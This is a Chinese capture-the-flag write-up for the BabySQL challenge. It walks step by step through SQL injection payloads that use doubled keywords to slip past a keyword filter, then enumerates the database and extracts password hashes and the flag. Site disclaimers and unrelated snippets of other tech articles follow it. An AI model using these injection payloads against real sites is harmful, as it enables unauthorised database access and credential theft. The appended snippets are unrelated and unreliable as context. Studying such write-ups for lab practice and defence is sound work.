双写绕过 [极客大挑战 2019]BabySQL 1

打开题目

随便输入账号密码

根据报错信息可知这是单引号的字符型注入

那我们试试万能密码

1' or '1'='1  页面报错

1  or '1'='1 页面报错

而且根据报错内容显示是没有我们注入上去的or的

那我们就试试

1' order by 3 #

页面报错,根据报错显示页面过滤掉了or和by

那我们试试

-1' union select 1,2,3,4 #

根据报错显示页面过滤了union和select

那我们就可以尝试双写绕过

1' ununionion seselectlect 1 #

报错显示有不同的列名

那就一个一个试吧

1' ununionion seselectlect 1,2,3#

页面正常

并且这里显示报错显示位为2,3

1' ununionion seselectlect 1,2,3,4#

页面报错

说明列名字段数为3

爆用户名和数据库名

-1’ ununionion seselectlect 1,user(),database()  #

这样我们就可以知道数据库用户名为root@localhost,数据库名为geek

-1' ununionion seselectlect 1,version(),@@version_compile_os #

这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB

总结一下就是

操作系统version_compile_os:Linux

数据库版本version():  10.3.18-MariaDB

数据库用户名user():  root@localhost

数据库名database():  geek

接下来我们查询geek数据库下的表名信息

-1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #

我们发现informmation,where都被过滤掉了

那我们对其进行双写

-1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #

忘记页面是过滤or了

重新换个姿势

-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

说明表名有b4bsql,geekuser

爆破列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #

爆破数据

-1' uunionnion seselectlect 1,2,password frfromom geekuser  #

又忘记过滤or了

-1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser  #

这下爆出了password为2ac772d9987993a29b85958839d4e468

用户名为admin

id为1

尝试登录了一下用户名和密码,发现下面没有flag

那我们爆破b4bsql表下的列名

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

发现下面也有三个列名

-1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #

查看页面源代码得到flag

知识点:

常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

information_schema.schemata 获取所有数据库信息

表包含以下列:

  1. catalog_name:目录名称
  2. schema_name: 模式(数据库)的名称。
  3. default_character_set_name: 数据库编码。
  4. default_collation_name: 数据库排序规则

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/175504.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Dart利用私有构造函数_()创建单例模式

文章目录 类的构造函数_()函数dart中构造函数定义 类的构造函数 类的构造函数有两种: 1)默认构造函数: 当实例化对象的时候,会自动调用的函数,构造函数的名称和类的名称相同,在一个类中默认构造函数只能由…

wpf devexpress设置行和编辑器

如下教程示范如何计算行布局,特定的表格单元编辑器,和格式化显示值。这个教程基于前一个文章 选择行显示 GridControl为所有字段生成行和绑定数据源,如果AutoGenerateColumns 属性选择AddNew。添加行到GridControl精确显示为特别的几行设置。…

掉瓶子小游戏

欢迎来到程序小院 掉瓶子 玩法:旋转的瓶子,根据瓶子方向,点击鼠标左键瓶子掉落,从桌面中间掉下即得1分,卡在桌边瓶子碎了游戏结束,快去掉瓶子吧^^。开始游戏https://www.ormcc.com/play/gameStart/203 htm…

安全好用性价比高的远程协同运维软件有吗?

据悉不少IT专业人员认为,远程运维风险性更高,更容易给企业带来更大的风险。所以不少运维人员都在求一款安全好用性价比高的远程协同运维软件,因为下班需要,因为碰到IT难题时候需要,因为驻场需要。那你知道市面上安全好…

【多项式回归】拟合有噪声的正弦曲线

先导入模块并创建数据: from sklearn.preprocessing import PolynomialFeatures as PF from sklearn.linear_model import LinearRegression import numpy as nprnd np.random.RandomState(42) #设置随机数种子 X rnd.uniform(-3, 3, size100) y np.sin(X) rnd…

windows下安装zookeeper及kafka

1、下载安装包 https://dlcdn.apache.org/zookeeper/zookeeper-3.9.1/apache-zookeeper-3.9.1-bin.tar.gz 2、下载kafka包 Apache Kafka 3、解压压缩包 4、进入zookeeper目录创建配置的数据目录data及配置的日志目录log 5、复制并配置zoo.cfg文件 6、启动zookeeper&#xff0…

nginx四层tcp负载均衡及主备、四层udp负载均衡及主备、7层http负载均衡及主备配置(wndows系统主备、负载均衡)

准备工作 服务器上安装、配置网络负载平衡管理器 windows服务器热备、负载均衡配置-CSDN博客 在windows服务器上安装vmware17 win10 上安装vmware17-CSDN博客 在windows上利用vmware17 搭建centos7 mini版 在windows上利用vmware17 搭建centos7 mini版本服务器-CSDN博客 …

electron 内部api capturePage实现webview截图

官方文档 .capturePage([rect]) rect Rectangle (可选) - 要捕获的页面区域。 返回 Promise - 完成后返回一个NativeImage 在 rect内捕获页面的快照。 省略 rect 将捕获整个可见页面。 async function cap(){ let image await webviewRef.value.capturePage() console.log(im…

【iOS】将网络请求封装在一个单例类Manager中(AFNetworking、JSONModel)

项目开发中会请求大量不同的API,若将网络请求三板斧直接写在Controller中会代码十分冗杂,干脆直接将AFNetWorking和JSONModel封装到一个全局的Manager单例类中,在Manager类中进行网络请求和数据解析 导入AFNetworking和JSONModel 参考【iOS…

Karmada更高效地实现故障转移

随着云原生技术的发展,其应用场景不断扩大。越来越多的企业开始将应用程序部署在 Kubernetes 集群中,随着 Kubernetes 集群规模的不断扩大,也带来了许多管理挑战,例如多集群间负载均衡、资源调度、故障转移等问题。为了解决这些问…

bclinux aarch64 ceph 14.2.10 对象存储 http网关 CEPH OBJECT GATEWAY Civetweb

相关内容 bclinux aarch64 ceph 14.2.10 文件存储 Ceph File System, 需要部署mds: ceph-deploy mds-CSDN博客 ceph-deploy bclinux aarch64 ceph 14.2.10【3】vdbench fsd 文件系统测试-CSDN博客 ceph-deploy bclinux aarch64 ceph 14.2.10【2】vdbench rbd 块设…

操作系统 | 虚拟机及linux的安装

​ 🌈个人主页:Sarapines Programmer🔥 系列专栏:《操作系统实验室》🔖少年有梦不应止于心动,更要付诸行动。 目录结构 1.操作系统实验之虚拟机及linux的安装 1.1 实验目的 1.2 实验内容 1.3 实验步骤 …